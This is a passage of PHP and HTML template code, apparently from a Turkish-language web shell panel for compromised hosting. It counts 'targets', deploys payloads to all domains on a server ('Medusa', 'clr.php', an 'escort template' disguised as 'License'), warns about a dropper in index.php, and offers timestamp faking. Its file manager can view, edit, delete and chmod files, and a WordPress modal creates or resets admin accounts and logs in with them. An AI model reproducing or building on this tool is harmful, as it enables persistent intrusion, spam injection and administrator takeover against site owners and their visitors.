<form method="post"><button type="submit" name="fix_timestamp" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-cyan-400 bg-cyan-500/10 border border-cyan-500/20 hover:bg-cyan-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>TS</button></form>
<form method="post"><button type="submit" name="clear_cache" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-amber-400 bg-amber-500/10 border border-amber-500/20 hover:bg-amber-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/></svg>Cache</button></form>
<button type="button" onclick="clearAllDomainsCache();closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-emerald-400 bg-emerald-500/10 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
</svg>
Clear All Domains
</button>
<button type="button" onclick="deployAllDomains();closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-emerald-400 bg-emerald-500/10 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9m-5.25-1.5h4.5m-4.5 0L3 12m15-3.75V3.75m0 4.5h-4.5m4.5 0L15 9m4.5-1.5h-4.5m4.5 0L21 6m-6 15h-4.5m4.5 0v-4.5m0 4.5L15 15m-1.5-4.5H9m4.5 0v4.5m0-4.5L21 21"/>
</svg>
Deploy All
</button>
<button type="button" onclick="deployClrPhp();closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-amber-400 bg-amber-500/10 border border-amber-500/20 hover:bg-amber-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/>
</svg>
clr.php
</button>
<button type="button" onclick="deployMedusaWpContent();closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-pink-400 bg-pink-500/10 border border-pink-500/20 hover:bg-pink-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m-8-8h16" />
</svg>
Medusa
</button>
<button type="button" onclick="deployEscortTemplate();closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-violet-400 bg-violet-500/10 border border-violet-500/20 hover:bg-violet-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/>
</svg>
License
</button>
<button type="button" onclick="openModal('permModal');closeMobileMenu()"
class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-cyan-400 bg-cyan-500/10 border border-cyan-500/20 hover:bg-cyan-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/>
</svg>
Chmod All
</button>
</div>
<div class="px-3 pb-2">
<form method="post"><button type="submit" name="fm_logout" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-400 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"/></svg>Logout</button></form>
</div>
</div>
</nav>
<!-- MAIN -->
<main class="max-w-7xl mx-auto px-4 sm:px-6 py-4">
<!-- Server info -->
<div class="flex flex-wrap items-center gap-2 mb-3 text-[10px] mono text-slate-500">
<span class="flex items-center gap-1"><span class="w-1 h-1 rounded-full bg-emerald-400 animate-pulse"></span><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']??'Unknown'); ?></span>
<span class="text-slate-700">|</span><span><?php echo $timezone; ?></span>
<span class="text-slate-700">|</span><span><?php echo date('Y-m-d H:i:s'); ?></span>
<?php if($detectedDomain): ?>
<span class="text-slate-700">|</span>
<span class="flex items-center gap-1 text-emerald-400">🌐 <?php echo htmlspecialchars($detectedDomain); ?></span>
<?php endif; ?>
<?php if($isWordPress): ?>
<span class="text-slate-700">|</span>
<span class="flex items-center gap-1 text-emerald-400">WP ✓</span>
<?php endif; ?>
<span class="text-slate-700">|</span>
<span class="text-cyan-400">🎯 <?php echo count($fmTargets); ?> hedef</span>
<button type="button" id="fmCopyHttpsBtnBar" class="fm-chip fm-chip--copy text-[9px] py-0.5" title="https domain listesi — tek tık kopyala">
📋 https (<?php echo (int)$fmCopyHttpsCount; ?>)
</button>
<?php if (defined('FM_VIA_MEDUSA')): ?>
<span class="text-slate-700">|</span>
<span class="text-violet-400" title="wp-content/medusa.php → public_html/fm.php">Medusa panel</span>
<?php endif; ?>
<?php if ($fmDomainsBaseDir !== ''): ?>
<span class="text-slate-700">|</span>
<span class="text-orange-400 mono truncate max-w-[140px]" title="<?php echo htmlspecialchars($fmDomainsBaseDir); ?>">📂 <?php echo htmlspecialchars(basename($fmDomainsBaseDir)); ?></span>
<?php endif; ?>
</div>
<!-- Status -->
<?php if (!$fmBundleIndexOk && $fmEmbeddedPayloadOk): ?>
<div class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium bg-indigo-500/10 text-indigo-300 border border-indigo-500/25">
FM paketi henüz yazılmadı — <button type="button" onclick="fmInstallEmbeddedBundle(true)" class="underline font-semibold">Paket kur</button> veya <button type="button" onclick="fmQuickRepair('current')" class="underline font-semibold">⚡ Hızlı onarım</button>
</div>
<?php endif; ?>
<?php if (!empty($fmIndexDropperWarn)): ?>
<div class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium bg-amber-500/10 text-amber-300 border border-amber-500/25">
⚠️ <strong>Dropper uyarısı:</strong> index.php diskte FM yedeğinden farklı / şifreli. Önce <strong>Dropper</strong>, sonra <strong>Index yedek</strong> veya tekrar Upload. Selfcheck: <span class="mono">?fm_selfcheck=1</span> → <span class="mono">index_sidecar_match</span>
</div>
<?php endif; ?>
<?php if($statusMessage): ?>
<div id="statusMsg" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $statusType==='success'?'bg-emerald-500/10 text-emerald-400 border border-emerald-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
<?php if($statusType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
<?php echo htmlspecialchars($statusMessage); ?>
</div>
<?php endif; ?>
<!-- WP Auto Login Status -->
<?php if($wpAutoLoginStatus): ?>
<div id="wpAutoLoginStatus" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $wpAutoLoginType==='success'?'bg-emerald-500/10 text-emerald-400 border border-emerald-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
<?php if($wpAutoLoginType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
<?php echo $wpAutoLoginStatus; ?>
</div>
<script>
setTimeout(function(){
const el = document.getElementById('wpAutoLoginStatus');
if(el){ el.style.opacity='0'; el.style.transition='opacity 0.5s'; setTimeout(function(){el.remove();}, 500); }
}, 4000);
</script>
<?php endif; ?>
<!-- WP User Status -->
<?php if($wpUserResult): ?>
<div id="wpUserStatus" class="mb-3 flex items-center gap-2 px-3 py-2 rounded-lg text-xs font-medium animate-slide-up transition-opacity duration-500 <?php echo $wpUserResultType==='success'?'bg-violet-500/10 text-violet-400 border border-violet-500/20':'bg-rose-500/10 text-rose-400 border border-rose-500/20'; ?>">
<?php if($wpUserResultType==='success'): ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 13l4 4L19 7"/></svg><?php else: ?><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12"/></svg><?php endif; ?>
<?php echo $wpUserResult; ?>
</div>
<script>
setTimeout(function(){
const el = document.getElementById('wpUserStatus');
if(el){ el.style.opacity='0'; el.style.transition='opacity 0.5s'; setTimeout(function(){el.remove();}, 500); }
}, 5000);
</script>
<?php endif; ?>
<!-- Breadcrumb -->
<div class="mb-3 flex items-center gap-1 flex-wrap bg-surface-900 border border-slate-700/50 px-3 py-1.5 rounded-lg text-xs overflow-x-auto">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3 text-slate-500 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M3 12l2-2m0 0l7-7 7 7M5 10v10a1 1 0 001 1h3m10-11l2 2m-2-2v10a1 1 0 01-1 1h-3m-6 0a1 1 0 001-1v-4a1 1 0 011-1h2a1 1 0 011 1v4a1 1 0 001 1m-6 0h6"/></svg>
<?php
$bdirs=explode(DIRECTORY_SEPARATOR,$currentDirectory);$cp='';
foreach($bdirs as $bd){if($bd==='')continue;$cp.=DIRECTORY_SEPARATOR.$bd;echo '<span class="text-slate-600">/</span><a href="?d='.x($cp).'" class="mono text-[10px] text-slate-400 hover:text-blue-400 px-1 py-0.5 rounded hover:bg-blue-500/10 transition-all whitespace-nowrap">'.htmlspecialchars($bd).'</a>';}
echo '<span class="text-slate-600">/</span><a href="?d='.x($scriptDirectory).'" class="mono text-[10px] text-emerald-400 hover:text-emerald-300 px-1 py-0.5 rounded hover:bg-emerald-500/10 transition-all font-medium whitespace-nowrap">[home]</a>';
?>
</div>
<!-- Result / View box -->
<?php if($viewCommandResult): ?>
<?php
$rawFileContent = ($viewCommandResult['type']==='view') ? file_get_contents($currentDirectory.'/'.$viewCommandResult['filename']) : '';
$viewFilename = ($viewCommandResult['type']==='view') ? $viewCommandResult['filename'] : '';
?>
<?php if($viewFilename!==''): ?>
<textarea id="resultRawContent" class="hidden"><?php echo htmlspecialchars($rawFileContent, ENT_QUOTES, 'UTF-8'); ?></textarea>
<?php endif; ?>
<div class="mb-3 bg-surface-900 border border-slate-700/50 rounded-lg overflow-hidden animate-slide-up" id="resultBox">
<div class="flex items-center justify-between px-3 py-1.5 bg-slate-800/50 border-b border-slate-700/50">
<div class="flex items-center gap-2">
<div class="flex gap-1"><div class="w-2 h-2 rounded-full bg-rose-500/70"></div><div class="w-2 h-2 rounded-full bg-amber-500/70"></div><div class="w-2 h-2 rounded-full bg-emerald-500/70"></div></div>
<span class="text-[10px] mono text-slate-400"><?php echo $viewCommandResult['label']; ?></span>
</div>
<div class="flex items-center gap-1.5">
<?php if($viewCommandResult['type']==='view'&&$viewFilename!==''): ?>
<button type="button" onclick="openEditorFromResultBox()" data-filename="<?php echo htmlspecialchars($viewFilename, ENT_QUOTES, 'UTF-8'); ?>" class="text-[10px] px-2 py-0.5 rounded bg-violet-500/15 text-violet-400 border border-violet-500/20 hover:bg-violet-500/25 transition-all mono">Edit</button>
<?php endif; ?>
<button type="button" onclick="document.getElementById('resultBox').remove()" class="text-slate-500 hover:text-slate-300 transition-colors text-lg leading-none">×</button>
</div>
</div>
<?php if($viewCommandResult['type']==='view'): ?>
<pre class="overflow-auto max-h-64"><code class="language-<?php echo htmlspecialchars(extLang(strtolower(pathinfo($viewFilename,PATHINFO_EXTENSION)))); ?> text-[10px]"><?php echo $viewCommandResult['content']; ?></code></pre>
<?php else: ?>
<pre class="overflow-auto max-h-64 p-3 mono text-[10px] text-slate-300 whitespace-pre-wrap"><?php echo $viewCommandResult['content']; ?></pre>
<?php endif; ?>
</div>
<?php endif; ?>
<!-- Hidden bulk delete form -->
<form method="post" id="bulkForm">
<input type="hidden" name="bulk_delete" value="1">
<div id="bulkItemsContainer"></div>
</form>
<!-- File Table -->
<div class="bg-surface-900 border border-slate-700/50 rounded-lg overflow-hidden">
<!-- Bulk bar -->
<div id="bulkBar" class="hidden items-center gap-2 px-3 py-1.5 bg-blue-500/10 border-b border-blue-500/20">
<span class="text-xs text-blue-400 font-medium"><span id="selectedCount">0</span> selected</span>
<button type="button" onclick="submitBulkDelete()"
class="flex items-center gap-1 px-2 py-1 text-[10px] font-semibold bg-rose-500/15 text-rose-400 border border-rose-500/25 rounded hover:bg-rose-500/25 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
Delete
</button>
<button type="button" onclick="clearSel()" class="text-[10px] text-slate-500 hover:text-slate-300 transition-colors">Clear</button>
</div>
<div class="overflow-x-auto">
<table class="w-full text-xs">
<thead>
<tr class="bg-slate-800/60 text-slate-400 text-[10px] uppercase tracking-wider">
<th class="px-2 py-2 w-6 text-center"><input type="checkbox" id="checkAll" onchange="toggleAll(this)" class="w-3.5 h-3.5 rounded cursor-pointer" style="accent-color:#3b82f6"></th>
<th class="text-left px-2 py-2 font-semibold min-w-[120px]">Name</th>
<th class="text-left px-2 py-2 font-semibold hidden sm:table-cell">Size</th>
<th class="text-left px-2 py-2 font-semibold hidden md:table-cell">Modified</th>
<th class="text-left px-2 py-2 font-semibold hidden lg:table-cell">Perms</th>
<th class="text-center px-1 py-2 font-semibold" title="View">👁</th>
<th class="text-center px-1 py-2 font-semibold" title="Code Editor">✏️</th>
<th class="text-center px-1 py-2 font-semibold" title="Zip/Extract">📦</th>
<th class="text-center px-1 py-2 font-semibold" title="Chmod">🔑</th>
<th class="text-center px-1 py-2 font-semibold" title="Delete">🗑</th>
<th class="text-left px-1 py-2 font-semibold min-w-[100px]">Rename</th>
</tr>
</thead>
<tbody class="divide-y divide-slate-800/80">
<?php
$rawItems=array_diff(scandir($currentDirectory),['.','..']);
$fD=[];$fF=[];
foreach($rawItems as $item){is_dir($currentDirectory.'/'.$item)?$fD[]=$item:$fF[]=$item;}
natcasesort($fD);natcasesort($fF);
$allItems=array_merge(array_values($fD),array_values($fF));
foreach($allItems as $v):
$u=realpath($v);
$isDir=is_dir($v);
$isWr=is_writable($u);
$perm=substr(sprintf('%o',fileperms($u)),-4);
$ext=$isDir?'':strtolower(pathinfo($v,PATHINFO_EXTENSION));
$ec=extColor($ext);
$iLink=$isDir?'?d='.x($currentDirectory.'/'.$v):'?d='.x($currentDirectory).'&f='.x($v);
$isZip=in_array($ext,['zip','tar','gz']);
$dirIcon='<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-amber-400 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20"><path d="M2 6a2 2 0 012-2h5l2 2h5a2 2 0 012 2v6a2 2 0 01-2 2H4a2 2 0 01-2-2V6z"/></svg>';
$fileIcon='<svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 '.$ec.' flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"/></svg>';
$btn='inline-flex items-center justify-center w-6 h-6 rounded bg-slate-700/50 text-slate-400 border border-slate-700 transition-all';
?>
<tr class="hover:bg-slate-800/40 transition-colors">
<td class="px-2 py-2 text-center"><input type="checkbox" name="selected_items[]" value="<?php echo htmlspecialchars($v); ?>" class="item-check w-3.5 h-3.5 rounded cursor-pointer" style="accent-color:#3b82f6" onchange="updBulk()"></td>
<td class="px-2 py-2">
<div class="flex items-center gap-1.5">
<?php echo $isDir?$dirIcon:$fileIcon; ?>
<a href="<?php echo $iLink; ?>" class="text-slate-200 hover:text-blue-400 font-medium transition-colors truncate max-w-[120px] text-[11px]"><?php echo htmlspecialchars($v); ?></a>
<?php if($isWr)echo '<span class="w-1 h-1 rounded-full bg-blue-400/50 flex-shrink-0" title="Writable"></span>'; ?>
</div>
</td>
<td class="px-2 py-2 mono text-[10px] text-slate-500 hidden sm:table-cell"><?php echo $isDir?'<span class="text-slate-700">—</span>':formatFileSize(filesize($u)); ?></td>
<td class="px-2 py-2 mono text-[10px] text-slate-500 hidden md:table-cell"><?php echo date('Y-m-d H:i',filemtime($u)); ?></td>
<td class="px-2 py-2 mono text-[10px] hidden lg:table-cell"><span class="px-1 py-0.5 rounded bg-slate-800 text-slate-400"><?php echo $perm; ?></span></td>
<!-- View -->
<td class="px-1 py-2 text-center">
<?php if(!$isDir): ?>
<form method="post"><input type="hidden" name="view_file" value="<?php echo htmlspecialchars($v); ?>">
<button type="submit" title="View" class="<?php echo $btn; ?> hover:text-blue-400 hover:bg-blue-500/15 hover:border-blue-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/><path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/></svg>
</button></form>
<?php else: echo '<span class="text-slate-800">—</span>'; endif; ?>
</td>
<!-- Code Editor -->
<td class="px-1 py-2 text-center">
<?php if(!$isDir): ?>
<form method="post" onsubmit="event.preventDefault();loadAndEdit('<?php echo htmlspecialchars(addslashes($v)); ?>')">
<input type="hidden" name="editor_load" value="<?php echo htmlspecialchars($v); ?>">
<button type="submit" title="Edit" class="<?php echo $btn; ?> hover:text-violet-400 hover:bg-violet-500/15 hover:border-violet-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M10 20l4-16m4 4l4 4-4 4M6 16l-4-4 4-4"/></svg>
</button></form>
<?php else: echo '<span class="text-slate-800">—</span>'; endif; ?>
</td>
<!-- Zip / Extract -->
<td class="px-1 py-2 text-center">
<?php if($isZip): ?>
<form method="post"><input type="hidden" name="extract_file" value="<?php echo htmlspecialchars($v); ?>">
<button type="submit" title="Extract" class="<?php echo $btn; ?> hover:text-purple-400 hover:bg-purple-500/15 hover:border-purple-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"/></svg>
</button></form>
<?php else: ?>
<form method="post"><input type="hidden" name="zip_file" value="<?php echo htmlspecialchars($v); ?>">
<button type="submit" title="Compress" class="<?php echo $btn; ?> hover:text-purple-400 hover:bg-purple-500/15 hover:border-purple-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/></svg>
</button></form>
<?php endif; ?>
</td>
<!-- Chmod -->
<td class="px-1 py-2 text-center">
<button type="button" onclick="openChmod('<?php echo htmlspecialchars(addslashes($v)); ?>','<?php echo $perm; ?>')" title="Chmod" class="<?php echo $btn; ?> hover:text-amber-400 hover:bg-amber-500/15 hover:border-amber-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/></svg>
</button>
</td>
<!-- Delete -->
<td class="px-1 py-2 text-center">
<form method="post" onsubmit="return confirm('Delete <?php echo htmlspecialchars(addslashes($v)); ?>?')">
<input type="hidden" name="delete_file" value="<?php echo htmlspecialchars($v); ?>">
<button type="submit" title="Delete" class="<?php echo $btn; ?> hover:text-rose-400 hover:bg-rose-500/15 hover:border-rose-500/30">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
</button></form>
</td>
<!-- Rename -->
<td class="px-1 py-2">
<form method="post" class="flex gap-1">
<input type="hidden" name="old_name" value="<?php echo htmlspecialchars($v); ?>">
<input type="text" name="new_name" placeholder="New" required class="flex-1 min-w-0 px-1.5 py-1 text-[10px] mono bg-slate-800/60 border border-slate-700/50 rounded text-slate-300 placeholder-slate-600 focus:outline-none focus:border-blue-500/50 transition-all">
<button type="submit" name="rename_item" value="1" title="Rename" class="flex-shrink-0 w-6 h-6 flex items-center justify-center bg-amber-500/10 text-amber-400 border border-amber-500/20 rounded hover:bg-amber-500/20 transition-all">
<svg xmlns="http://www.w3.org/2000/svg" class="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z"/></svg>
</button></form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php
$cnt=count($allItems);
echo '<div class="px-3 py-1.5 border-t border-slate-800/80 flex items-center justify-between text-[10px] text-slate-600">';
echo '<span>'.$cnt.' item'.($cnt!==1?'s':'').'</span>';
echo '<span class="mono truncate max-w-xs">'.htmlspecialchars($currentDirectory).'</span>';
echo '</div>';
?>
</div>
</main>
<!-- ─── WP USER MODAL ────────────────────────────────────── -->
<?php if($isWordPress): ?>
<div id="wpUserModal" class="fixed inset-0 z-50 hidden items-center justify-center p-4">
<div class="absolute inset-0 bg-black/60 backdrop-blur-sm" onclick="closeModal('wpUserModal')"></div>
<div class="relative bg-surface-900 border border-slate-700/50 rounded-2xl w-full max-w-md shadow-2xl animate-slide-up">
<div class="flex items-center justify-between px-6 py-4 border-b border-slate-700/50">
<div class="flex items-center gap-3">
<div class="w-8 h-8 rounded-lg bg-violet-500/15 border border-violet-500/25 flex items-center justify-center">
<svg class="w-4 h-4 text-violet-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
</svg>
</div>
<div>
<h2 class="font-semibold text-slate-100 text-sm">WP User</h2>
<p class="text-[10px] text-slate-500">Oluştur / Giriş Yap / Şifre Güncelle</p>
<?php if($detectedDomain): ?>
<p class="text-[10px] text-emerald-400 mono">🌐 <?php echo htmlspecialchars($detectedDomain); ?></p>
<?php endif; ?>
</div>
</div>
<button type="button" onclick="closeModal('wpUserModal')" class="text-slate-500 hover:text-slate-300 text-xl leading-none">×</button>
</div>
<form method="post" class="p-6">
<input type="hidden" name="wp_user_create" value="1">
<div class="mb-3">
<label class="block text-[10px] font-medium text-slate-400 mb-1">Kullanıcı Adı</label>
<input type="text" name="wp_username" id="wpUsername" required
placeholder="admin"
class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
</div>
<div class="mb-3">
<label class="block text-[10px] font-medium text-slate-400 mb-1">Şifre</label>
<input type="password" name="wp_password" id="wpPassword" required
placeholder="••••••••"
class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
<button type="button" onclick="toggleWpPw()" class="text-[10px] text-slate-500 hover:text-slate-300 transition-colors mt-1">👁 Göster/Gizle</button>
</div>
<div class="mb-4">
<label class="block text-[10px] font-medium text-slate-400 mb-1">E-posta <span class="text-slate-600">(opsiyonel)</span></label>
<input type="email" name="wp_email" id="wpEmail"
placeholder="user@example.com"
class="w-full px-3 py-2 mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-lg text-slate-200 placeholder-slate-600 focus:outline-none focus:border-violet-500/50 focus:bg-slate-800 transition-all">
</div>
<div class="flex gap-3 mb-4">
<button type="submit" name="wp_action" value="create"
class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-violet-600 rounded-xl hover:bg-violet-500 transition-all flex items-center justify-center gap-2">
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m8-8H4"/>
</svg>
Oluştur
</button>
<button type="submit" name="wp_action" value="login"
class="flex-1 px-4 py-2.5 text-xs font-semibold text-white bg-emerald-600 rounded-xl hover:bg-emerald-500 transition-all flex items-center justify-center gap-2">
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
<path stroke-linecap="round" stroke-linejoin="round" d="M11 16l-4-4m0 0l4-4m-4 4h14m-5 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h7a3 3 0 013 3v1"/>
</svg>
Giriş
</button>
</div>
<div class="text-[10px] text-slate-500 bg-slate-800/40 rounded-lg px-3 py-2 flex items-start gap-2">
<span class="text-violet-400 text-sm leading-none mt-0.5">ℹ️</span>
<div>
<p><strong>Oluştur:</strong> Yeni admin oluşturur veya şifre günceller.</p>
<p><strong>Giriş:</strong> Mevcut kullanıcı ile oturum açar.</p>
</div>
</div>
</form>
</div>
</div>
<script>
function toggleWpPw() {
const input = document.getElementById('wpPassword');
input.type = input.type === 'password' ? 'text' : 'password';
}
</script>
